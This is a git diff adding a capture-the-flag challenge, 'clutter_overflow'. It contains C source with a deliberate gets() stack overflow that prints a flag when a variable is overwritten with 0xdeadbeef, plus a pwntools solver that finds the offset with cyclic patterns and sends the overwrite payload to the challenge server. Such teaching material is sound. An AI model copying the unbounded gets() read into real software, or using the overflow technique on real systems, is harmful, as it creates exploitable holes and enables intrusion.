diff --git a/clutter_overflow/chall b/clutter_overflow/chall
new file mode 100755
index 0000000..c37dc1d
Binary files /dev/null and b/clutter_overflow/chall differ
diff --git a/clutter_overflow/chall.c b/clutter_overflow/chall.c
new file mode 100644
index 0000000..e95a086
--- /dev/null
+++ b/clutter_overflow/chall.c
@@ -0,0 +1,54 @@
+#include <stdio.h>
+#include <stdlib.h>
+
+#define SIZE 0x100
+#define GOAL 0xdeadbeef
+
+const char* HEADER = 
+" ______________________________________________________________________\n"
+"|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^|\n"
+"| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |\n"
+"|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ==================^ ^ ^|\n"
+"| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ___ ^ ^ ^ ^ /                  \\^ ^ |\n"
+"|^ ^_^ ^ ^ ^ =========^ ^ ^ ^ _ ^ /   \\ ^ _ ^ / |                | \\^ ^|\n"
+"| ^/_\\^ ^ ^ /_________\\^ ^ ^ /_\\ | //  | /_\\ ^| |   ____  ____   | | ^ |\n"
+"|^ =|= ^ =================^ ^=|=^|     |^=|=^ | |  {____}{____}  | |^ ^|\n"
+"| ^ ^ ^ ^ |  =========  |^ ^ ^ ^ ^\\___/^ ^ ^ ^| |__%%%%%%%%%%%%__| | ^ |\n"
+"|^ ^ ^ ^ ^| /     (   \\ | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |/  %%%%%%%%%%%%%%  \\|^ ^|\n"
+".-----. ^ ||     )     ||^ ^.-------.-------.^|  %%%%%%%%%%%%%%%%  | ^ |\n"
+"|     |^ ^|| o  ) (  o || ^ |       |       | | /||||||||||||||||\\ |^ ^|\n"
+"| ___ | ^ || |  ( )) | ||^ ^| ______|_______|^| |||||||||||||||lc| | ^ |\n"
+"|'.____'_^||/!\\@@@@@/!\\|| _'______________.'|==                    =====\n"
+"|\\|______|===============|________________|/|\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
+"\" ||\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"  \n"
+"\"\"''\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
+"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
+"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"";
+
+int main(void)
+{
+  long code = 0;
+  char clutter[SIZE];
+
+  setbuf(stdout, NULL);
+  setbuf(stdin, NULL);
+  setbuf(stderr, NULL);
+ 	
+  puts(HEADER); 
+  puts("My room is so cluttered...");
+  puts("What do you see?");
+
+  gets(clutter);
+
+
+  if (code == GOAL) {
+    printf("code == 0x%llx: how did that happen??\n", GOAL);
+    puts("take a flag for your troubles");
+    system("cat flag.txt");
+  } else {
+    printf("code == 0x%llx\n", code);
+    printf("code != 0x%llx :(\n", GOAL);
+  }
+
+  return 0;
+}
diff --git a/clutter_overflow/sol.py b/clutter_overflow/sol.py
new file mode 100755
index 0000000..0a4f19b
--- /dev/null
+++ b/clutter_overflow/sol.py
@@ -0,0 +1,55 @@
+#!/usr/bin/env python
+from pwn import *
+
+def get_conn():
+    #return process("./chall")
+    return remote("mars.picoctf.net", 31890)
+
+def try_memory_offset(offset):
+    cycle = cyclic(length=offset, n=8)
+
+    conn = get_conn()
+    
+    conn.recvuntil(b"see?")
+    conn.recvline()
+    
+    conn.sendline(cycle)
+    conn.recvuntil(b"== ")
+    result = conn.recvline(keepends=False)
+
+    conn.close()
+    
+    return result
+
+base = 0x100
+exp = 0
+p = log.progress("searching for variable offset")
+while True:
+    offset = base + 2**exp
+    p.status(f"trying offset {offset}")
+    try:
+        result = try_memory_offset(offset)
+    except:
+        base = base + 2**(exp-1)
+        exp = 0
+        continue
+    if result != b"0x0":
+        next_result = 0
+        i = 0
+        while result != next_result:
+            i += 1
+            result = next_result
+            next_result = try_memory_offset(offset+i)
+        offset = cyclic_find(int(result, 16), n=8)
+        p.success(f"found result {unhex(result[2:])} at offset {offset}")
+        break
+    exp += 1
+
+conn = get_conn()
+
+conn.recvuntil(b"see?")
+conn.recvline()
+
+conn.sendline(b"a"*offset + p64(0xdeadbeef))
+conn.interactive()
+